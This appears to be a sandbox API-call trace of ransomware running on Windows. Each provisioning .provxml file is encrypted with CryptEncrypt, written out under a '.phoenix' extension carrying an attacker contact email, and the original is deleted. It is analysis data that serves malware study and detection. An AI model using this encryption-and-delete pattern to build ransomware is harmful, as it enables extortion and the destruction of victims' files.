	[0237.996] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0237.996] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.996] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.996] CryptDestroyKey (hKey=0x151680) returned 1
	[0237.996] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.996] CryptDestroyKey (hKey=0x151080) returned 1
	[0237.996] CloseHandle (hObject=0x2c0) returned 1
	[0237.996] CloseHandle (hObject=0x2d4) returned 1
	[0237.997] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.998] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.998] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0237.998] CloseHandle (hObject=0x2d4) returned 1
	[0237.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0237.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.998] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.999] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.999] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.999] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0237.999] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.999] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0238.000] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0238.000] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0238.001] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0238.001] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.001] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0238.001] CryptDestroyKey (hKey=0x151440) returned 1
	[0238.001] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0238.001] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0238.001] CloseHandle (hObject=0x2d4) returned 1
	[0238.001] CloseHandle (hObject=0x2c0) returned 1
	[0238.002] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0238.002] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.003] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=464) returned 1
	[0238.003] CloseHandle (hObject=0x2c0) returned 1
	[0238.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0238.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.003] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.003] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.003] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.003] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.004] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0238.004] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.004] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d0, lpOverlapped=0x0) returned 1
	[0238.005] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0238.005] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0238.006] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0238.006] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.006] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.006] CryptDestroyKey (hKey=0x151680) returned 1
	[0238.006] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.006] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.006] CloseHandle (hObject=0x2c0) returned 1
	[0238.006] CloseHandle (hObject=0x2d4) returned 1
	[0238.006] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0238.007] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.007] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.008] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=645) returned 1
	[0238.008] CloseHandle (hObject=0x2d4) returned 1
	[0238.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.008] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.008] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.008] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.008] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.009] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0238.009] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.009] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x285, lpOverlapped=0x0) returned 1
	[0238.012] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0238.012] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0238.012] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0238.012] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.013] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.013] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0238.013] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.013] CryptDestroyKey (hKey=0x151180) returned 1
	[0238.013] CloseHandle (hObject=0x2d4) returned 1
	[0238.013] CloseHandle (hObject=0x2c0) returned 1
	[0238.013] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.014] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.015] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=726) returned 1
	[0238.015] CloseHandle (hObject=0x2c0) returned 1
	[0238.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.015] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.015] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.015] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.015] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.016] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0238.016] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.016] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d6, lpOverlapped=0x0) returned 1
	[0238.065] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0238.065] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0238.066] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0238.066] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.066] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0238.066] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.066] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0238.067] CryptDestroyKey (hKey=0x151500) returned 1
	[0238.067] CloseHandle (hObject=0x2c0) returned 1
	[0238.067] CloseHandle (hObject=0x2d4) returned 1
	[0238.067] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.068] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.069] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=646) returned 1
	[0238.069] CloseHandle (hObject=0x2d4) returned 1
